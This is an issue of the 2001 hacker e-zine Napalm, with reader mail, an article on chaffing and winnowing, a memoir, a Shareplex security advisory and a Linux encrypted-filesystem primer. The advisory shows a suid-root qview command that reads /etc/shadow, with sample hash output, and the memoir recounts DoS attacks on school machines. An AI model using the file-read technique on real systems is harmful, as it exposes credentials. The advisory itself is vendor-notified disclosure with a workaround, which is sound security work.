.                     .                 . ..n10: 2001.03.30

Contents

0x00: Editor’s Comments

0x01: Subscriber Emails

0x02: BBS List, Revised

0x03: Chaffing as an Alternative to Encryption (Part I)

0x04: How I Got Myself Into The Comp-Sec World

0x05: Security Hole in Shareplex 2.x

0x06: Intro to Cryptographic Filesystems

0x07: Music Reviews

0x08: Credits

0x00: Editor’s Comments — kynik

A chunk of my commentary that I included in the last issue was published in Information Security magazine. (See “Hacker ‘Zines and Information Security Magazine” in issue 9.) You can see it online at

http://www.infosecuritymag.com/articles/february01/departments_talk_back.shtml

Not much new with the Napalm crew here, except that this issue is bound to be considerably smaller than usual. Everybody’s submissions just started slowing down over New Year’s Day and many of our contributors’ winter breaks. On the personal front, I’ve quit my job and started a security consulting company for small businesses in my corner of the world. If you’re interested, check out Deus Security at:

http://www.deusec.com/

0x01: Subscriber Emails

That’s always nice to hear. Phrack does have two things that we don’t: bigger issues and more famous people. (Assuming they release an issue.) I wouldn’t call us nearly as big, either, with only 600 subscribers. It’s like comparing Be and Microsoft ;) {kynik}

There’s an old joke about OS/2 being better than Windows. I think that’s called a “backhanded compliment.” Still, thanks, we try. {ajax}

I’ll pester blakboot about it, but I’m not sure he’s even thought about doing a follow-up in a long time. {kynik}

Yes. Telenet lives. Kinda like X.25 and OSI, it just won’t die. I plugged "telenet access numbers" into google and got back a whole buncha hits, http://www.undergroundnews.com/kbase/underground/hacking/basic.htm among them, which seemed pretty authoritative. Play around. {ajax}

Quite right. {kynik}

By definition, factoring large prime numbers (or any prime number) is not NP-hard, it’s impossible. Period. If a number has positive factors other than one and itself, it isn’t prime. {echo8}

Ok, now I feel silly. I was quoted as predicting that people would be able to factor large primes. I meant to say “large numbers,” where someone would factor them to try to determine if they are prime. Of course you can’t factor primes, and I think the subscriber followed my semantic misstep. My apologies, all. {kynik}

For those readers out there who are interested in knowing what the difference between a “hard” and an “easy” problem, plug “NP hard” into your favorite search engine. For those of you masochists, try this URL: http://hissa.nist.gov/dads/HTML/nphard.html {kynik}

The issue of proof is also unclear. Nobody has yet proved that P ≠ NP. There are also problems which are provably non-computable. Number theory is like that. {echo8}

Interesting things come up when you try to apply parallel computation to problems that can’t be solved in polynomial time serially. The little bit of number theory I got into in grad school didn’t really touch on this, besides saying that everything get more complex, as you’d probably expect. {kynik}

Perhaps one of our more motivated readers or contributors would be willing to go in-depth on the topic. Stay tuned! {kynik}

0x02: BBS List, Revised — _azure

This BBS list is current as of 2/8/01 {kynik}

L0pht bbs is part of history, last time I checked. Someone at @stake probably clued them that there might be legal ramifications to hosting a hacking BBS. Capitalism sucks that way. {ajax}

For the sake of correctness, we might want to point out that c0re is technically still up—but there appears to be a routing and/or hardware issue that has slowed the system to a crawl. It is still occasionally possible to login (though it’s very difficult to navigate). Regardless of the other areas in which L0pht seems to have slacked (removing their website, etc.), they don’t appear to have purposely removed the BBS. As history has shown, they haven’t (and continue not to) pay much attention to the board. {_azure}

0x02: Chaffing as an Alternative to Encryption (Part I) — kynik

I remember reading Rivest’s paper on chaffing[1] and being blown away by the simplicity of the idea, not to mention the practical applications. I told myself, “Self, you can write this, and it’d make a damn fine secure file transfer method.” So I thought about it, scribbled some stuff down on a sheet of paper and forgot about it for about six months. I noticed the copy of Rivest’s paper in an abandoned directory and the wheel started turning again. During my visit to San Francisco, I managed to write almost all of the enchaffing and dechaffing pieces. I’m at a point right now where I just need to debug and the libraries are done. So let me explain what all of this babbling of mine is about.

Chaffing is the insertion of fake pieces into a message, so that anyone eavesdropping on the message won’t know which part is legitimate and which is the chaff. Let’s say we wanted to enchaff a simple message. This example is from Rivest’s paper. The enchaffed message might look something like this:

    (1,Hi Larry,532105)
    (1,Hi Bob,465231)
    (2,Meet me at,782290)
    (2,I'll call you at,793122)
    (3,6PM,891231)
    (3,7PM,344287)
    (4,Yours-Susan,553419)
    (4,Love-Alice,312265) 

You can’t really be sure what the entire message is supposed to be without knowing what’s going on. The first number is a sequence number, which basically allows the receiver to put the message pieces in the right order, if they happen to be deliberately mixed. The third field is a keyed hash, which basically means, “Append the secret key to the message and get the [MD5 or whichever] hash.” This way, only someone who knows the secret key can easily determine which hash is correct, and thus, what the real message is. Standard key-exchange algorithms such as Diffie-Hellman can be used to transmit this key.

You can get even more complicated here by throwing a variable number of chaff pieces into the message, perhaps with a probability of extra chaffed packets. I added this functionality into my preliminary file enchaffing and dechaffing routines. (I think I’m going to wait until Napalm 11 to actually release the code, as I’d rather it be in a more complete state before anybody tried to do anything with it.)

The biggest problem I’ve discovered is that generating chaff from /dev/random or other random sources only works if your message looks pseudo-random. While testing out my enchaffing functions on a text file, and skimming through the resulting output, it’s pretty clear which part is the message and which part is the chaff. The strength of the enchaffing program depends directly on how good the chaff-generation function is.

This problem can be somewhat avoided by using another of Rivest’s suggestions. He suggests that before the entire message is enchaffed, a “package transform” or “all-or-nothing transform” is applied. This transform makes it impossible to retrieve the original message unless the entire transformed message is received. Presumably, (I haven’t actually implemented this yet, though that’s next in my priority list on this project) this transform would make a text file look pseudo-random and therefore it’d be much harder to determine what was chaff and what was part of the real message. It would also be possible and not a bad idea to compress the file before it’s package transformed, to reduce the amount of data that needs to be sent, and to remove the plaintext componenets of the message.

So what, right? This is basically encryption. It sure seems like it, but it’s technically not, which is the beauty of it. The package transform is not encryption. Rivest explains this:

The packaging operation can be undone by anyone who receives the packaged message; as noted, packaging is not encryption and there are no shared secret keys involved in the packaging operation.

The chaffing operation also is not encryption, since the sender is only transmitting authenticated packets, with the important message part sent in the clear. (Well, in a packaged form in the clear.) Since these methods do not involve encryption, a user can sidestep many laws regarding encryption while still having a certain degree of confidentiality. Rivest explains this sidestepping in greater detail in his paper than I will here.

Expect to have a working file-enchaffer by Napalm 11. Hopefully I can include a package transform and a compression component with it. I’m very interested in hearing what you all think about this, and any ideas that would improve or possibly defeat this. Feel free to email me at kynik@firest0rm.org.

[1] “Chaffing and Winnowing: Confidentiality without Encryption”, http://theory.lcs.mit.edu/~rivest/chaffing.txt

0x04: How I Got Myself Into The Comp-Sec World — anonymous

This article is from a subscriber who wishes to remain anonymous. Any commentary on this may be sent to kynik@firest0rm.org and I can forward it on. {kynik}

How I Got Myself into the Comp-Sec World
or
It May Sound Funny, but I Learned Hacking at School

I don’t post to Bugtraq. I don’t release stuff on Packetstorm (either the code is too dumb or too cool to make it public). I’m not a member of a crew. You don’t know me. If you know my handle, forget it, tomorrow it’s different. I’m not kewl nor 31337. I’m not a wordclass-hacker (in fact I settle myself somewhere between a cracker and a hacker), nor am I a member of the “Underground” (if it still exists). I’m not perfect, I’m no wizard; there are kids that are younger than me who know more than twice as much as I do.

The better days of my all too short youth I spend in a top-notch boarding school somewhere in Europe. It was quite a traditional one, yeah, one with church every Sunday and ultrasmartasses learning all day. But there were also different people, people like me. Dudes who did their own stuff and didn’t care a lot about what parents or teachers told us. Well, we went to school, did our homework, smoked when it was possible, drank ourselves near delirium every other weekend. School didn’t matter, we had good grades and when we had problems we helped each other (the kind of guys that fuck the prom queen).

My buddies and I had a lot of different hobbies (rugby, drama, art, etc.) but we had one hobby we all shared: computer games. We were addicted to all sorts of games. Many I have forgotten since then, but some, like Doom, or all the Sid Meier games are burned into my brain forever. Computers weren’t widely distributed at that time—it was ‘94. The masses hadn’t realized there were computer networks or people like “hackers.” 1995 was the year that would change a lot. Windows 95 came out, changed the world (and then crashed). Suddenly there were ads for internet service providers like CompuServe, the school got a LAN “for educational purposes” and we realised that computers could be serious fun when connected together. A serial connection was ok, if we did nothing special but for file sharing a real LAN would be better. Articles in computer magazines encouraged us, there was no discussion, we installed one (expensive 10Mbit-ISA-cards and BNC-Cable).

It was all too fascinating, a new world for us to play with. A few months all ran well, but after the summer, someone nearly slipped from the roof of our main dormitory (if the roof had been wet he’d been straight dead). The authorities thought about it, then they budgeted $10,000 to install a LAN in the complete school and dorm buildings.

In ‘96 my buddies and I were absolute power users in networking (in our opinions). We knew everything there was to know about setting up Ethernet networks. From the box of our minix-dude we learned that there were strange OSes out there and finally came into contact with Linux. It was strange because our world was totally dominated by M$ (and 4dos + some other enhancements). I hated it. Some loved it because of the anti-MS aspect—they weren’t able to handle their Win 3.x and 95 stuff right. (They weren’t so leet in M$ than I was, hehehe). Well, most of these Linux-tryers don’t use it anymore. It was too shitty then. Now they don’t touch it because they think it’s still crap.

With the growth of the Internet, finally the school got the idea that Internet-access would be a cool thing for a elite boarding school. Well, guess who were the morons that had to work out that NAT/proxy/cable/Internet stuff? Yep, it was me and two of my friends plus a strange guy who was known as a hardcore Linux user in our school (he always laughed at our Windows problems). I thought I knew a lot about networking. doh. That router installation was a real kick in the ass for me and a wake-up call not to be so arrogant. It was hard work, but finally linux ran on that box (I think it was Redhat 4.x (or 5.x?)). It ran Linux because the school didn’t want to buy another NetWare license. I would have preferred NT 3.51, but no one would listen to me. That protocol stuff was strange—yeah, packets cool—I know about packets, sir.

We started with a 33.6 connection, which was fine if you used it on your own, what you only could to at night. So I stayed up and surfed the net in the early mornings, my monitor killing my eyes, my body yearning for sleep. After a week I found the first DoS tool (note: on www.genocide2600.com/~tattooman/ which would later develop into Packetstorm). Well, came there by accident, I was happy I had found something mighty. “…will crash your computer…OOB…bluescreen”. Wait a minute, this is cool, I can crash other peoples boxes so I get the connection to the net for myself. Cool. In the following week, many people came to the conclusion that blue wasn’t a pretty colour in the end.

In the next edition of our favourite computer magazine all was discussed and soon after that patches were released. Finally, tools were released that could even kick my beloved NT in the ass. One day I was in a very bad mood (because of a girl ;). I flooded and DoS’d our gateway to death. I tried every tool I had and after a while the box didn’t answer my pings anymore. I don’t know why I actually did it. I simply did (and it worked).

Just to see the bluescreen (if it was blue on linux) I went with the admin (the hardcore Linux user) to the gateway. Our admin had a very old box—it was rumoured it was a 486 (very slow compared to our PII’s; in fact, it was a P100) and ran on Linux devel-kernel-code only (which was like an area52 to us M$-Users). He was someone who knew how to use gdb and gcc perfectly, my Linux friends “feared” him and I didn’t get a clue out of him.

He, a guy with glasses and too much pizza-muscles on his hips, showed me the box: no bluescreen. He logged himself in, did some crazy shit, well and we were back on the internet in less than a minute.

Utilizing strange commands I had never seen like “ifconfig -a” and “ps faux” he checked the box.

From that day on I was logged on to that admins box daily. My best friend was “man,” afterwards came “less” to read the RFC’s (which was really hard work the first time). In my senior year I took a computer science class in school, which was a good decision because the teacher (a new one) taught us about algorithms and C. Together with a few books and advice from our admin, a lot of time, caffeine and long nights in front of my box I learned to hack. The school’s LAN was my playground where I could test everything I wanted without fear. A few months before graduation we got a E1 (2Mbit) and a Cisco. Protected by NAT and non-existing log files about Internet usage I explored the Internet and had a very good time. The time I finished school I was familiar with Linux, NT and Netware and had a deep understanding of TCP/IP Networking.

I’m very happy someone introduced me to the world of Linux and free software, else I’d perhaps still be a DoS-Kiddie. I’ve been to university for a while now (and I’ve found another LAN to mess with) and sometimes miss the time I had at school. NT and Win2000 are my “research field” at the moment, but I plan to sell some stuff so I can afford a whole box for *BSD, which didn’t get enough attention by me in the past.

Good man…I’m a BSD fan myself. {kynik}

Yes, I can say, I really learned something at school.

0x05: Security Hole in Shareplex 2.x — echo8

Summary

Shareplex (Quest Software’s product for Oracle database replication) contains a security hole which can allow local users to read any file on the system, effectively bypassing the permissions set at the OS level.

Details

One of the scripts called when the product is installed (root.post) contains the following block of code:

update_permissions()
{
    if  get_mark marker OPT DIR; then
        :
    else
        get_mark marker OPT.$ORAVER DIR
    fi
    OD=$MARK

    chown root $OD/bin/sp_cop
    chmod 4555 $OD/bin/sp_cop

    chown root $OD/bin/CleanSP
    chmod 4550 $OD/bin/CleanSP

    chown root $OD/bin/qview
    chmod 4555 $OD/bin/qview

    ...

    chown root $OD/install/splex_remove_script
    chmod 4555 $OD/install/splex_remove_script

    get_mark rootpre SPLEX GROUP
    SPLEX_GROUP=$MARK
    chgrp $SPLEX_GROUP $MARKERFILE
    chown root $MARKERFILE
    chmod o-w $MARKERFILE
}

This assigns ownership of several application binaries to root, and then sets permissions on them to read & execute by everyone, and suid to root. The qview utility, which is used for cleaning out queues among other things, is one of the tools which is installed mode 4555. It has a feature which can compromise system security when executed with superuser privileges.

qview’s cmd command (which is used to execute qview commands stored in a file) opens any user-specified file and attempts to execute each line the file contains. Any errors encountered are echoed to standard output. A user who can execute qview can use this behavior to read files on the system to which they do not legitimately have access. As the target file will contain data other than qview commands, that data will be echoed out to stdout along with error messages.

I did not attempt a comprehensive audit of this product. There are a lot of utilities installed suid-root, and this may not be the only one that contains vulnerabilities.

Demonstration

$ id
uid=500(foo) gid=200(bar)
$ cd <path to shareplex binaries>
$ ./qview
qdump> cmd /etc/shadow
Executing: root:xDmyz1K9xRKRo:11236::::::
invalid command root:xDmyz1K9xRKRo:11236::::::
...
Executing: splex:BdJCfh1D32hzo:11290::::::
invalid command splex:BdJCfh1D32hzo:11290::::::
Executing: foo:2MQXUgAcnOcEU:11344::::::
invalid command foo:2MQXUgAcnOcEU:11344::::::
qdump> quit
$ 

Vulnerable Versions

The same version of root.post is shipped for each of the supported unixes (Solaris 2.6, HP/UX 10.20 & 11.00, AIX 3 and OSF/1 4.0). I would expect qview to display the same behavior on each of these OSes, but I tested only on Solaris 2.6.

I tested Shareplex 2.1.3.9 and 2.2.2 (Beta, 11/02/00).

Workaround

As currently implemented, qview needs to run as root in order to operate correctly. However, the risk can be somewhat mitigated by changing the permissions on qview to 4550, and making it group-owned by a group containing only highly-trusted users. This is not a complete solution to the problem, as any user who is still allowed to run qview can still access files to which they should not have access under any circumstances (such as the shadow file).

Vendor Notification/Patches

The vendor was notified on 2/2/2001.

The issue is patched in SharePlex 2.1.3.21 and above. The patched version of qview seems to remove the offending fuctionality completely.

This, and most of echo8’s previous bug reports goes to show you that just because something is expensive (I’m assuming that SharePlex is expensive, and I know Sun Clustering is) doesn’t mean it’s received the sort of scrutiny you’d expect for your money. Buyer beware! {kynik}

0x06: Intro to Cryptographic Filesystems — kp2

This document is meant to provide a basic introduction to the facilities provided by the crypto support in the Linux kernel.

For those of you who might be a bit daunted by the words ‘Encryption’ and ‘Filesystem,’ I present you an introduction to the linux crypto support.

Part 1 — What Is It?

Encryption is the act of concealing from view the data stored on the disk.

Most filesystems do not encrypt the data stored on them. The best reason for not encrypting data is the “why?” factor. Encrypting and decrypting data consume valuble processor cycles. If there is no reason to encrypt the data, there’s equally no reason to waste the cycles. This argument is a bit similar to data compression, but that is outside the scope of this article.

But suppose there is a reason to encrypt the data. On an unencrypted filesystem, the data may be read directly. Essentially, whatever is on the disk is available to anyone who might get their stinking paws on it. Your letters to Aunt Sally might not be all too important, but our friends at Los Alamos are singing quite a different tune when it comes to sensitive data.

Part 2 — How Does Linux do It?

The actual Crypto API is the subject of my second article, so hang with me you prime number and hash table freaks. {kp2}

Linux uses a loopback filesystem (there’s a HOWTO on these at linuxdoc.org) for its crypto chores. A loopback filsystem is basically a file that contains its own filesystem. Linux provides the facility to associate this file with a block device named /dev/loop<x>. Once the file is looped, it may be mounted and treated like a regular filesystem. That’s where the crypto comes in. With crypto support compiled in, linux can encrypt the blocks that compose the filesystem and its files. This means that the looped file is completely unreadable without the key.

Part 3 — That’s Cool, How do I do it?

Actually using an encrypted fs is so simple, it will blow your mind. Here’s a quick starter:

First, you need to head over to www.kerneli.org and grab the patch appropriate for your kernel.

Run patch -p1 < <patch name goes here> in the kernel source directory.

Remeber to gunzip that baby first!

Now head back over to kerneli.org and grab a copy of the HOWTO and (!!) read it. Remember that Documentation/crypto in the kernel source dir has some useful info.

You will need to recompile losetup and mount from utils-linux after applying a patch to that source (detailed instructions are in the HOWTO). You will also need to recompile your kernel with crypto support built in either as a module or into the kernel.

Part 4 — Kp2, you’re so cool, where can I find out more?

kerneli.org is a great start. If you’re interested in algorithms, check out Mastering C (or Perl) Algorithms from your local library or whatever. Applied Cryptography is another great book, but a little much for the weekend hacker. I’m also aware that google.com is always an excellent source of info.

Part 5 — Epilogue

This is a preliminary article. The next one will begin to introduce the actual Crypto API (with… drumroll please… examples!). Depending on the interest in the subject, I just might end up writing a cryptology tutorial. You never know :P

0x07: Music Reviews — kynik, ajax

kynik’s Rating, “Digimortal”

kynik’s Rating, “Black Seeds of Vengeance”

ajax’s Rating, “Farstucker”

0x08: Credits

To subscribe to this ‘zine: Email napalm@firest0rm.org with a subject of SUBSCRIBE.
To unsubscribe: Email napalm@firest0rm.org with a subject of UNSUBSCRIBE.
Or find us online at http://napalm.firest0rm.org/

Submissions, questions, comments, and constructive chaos may also be directed to kynik@firest0rm.org or any of the contributors.

.n10! - eof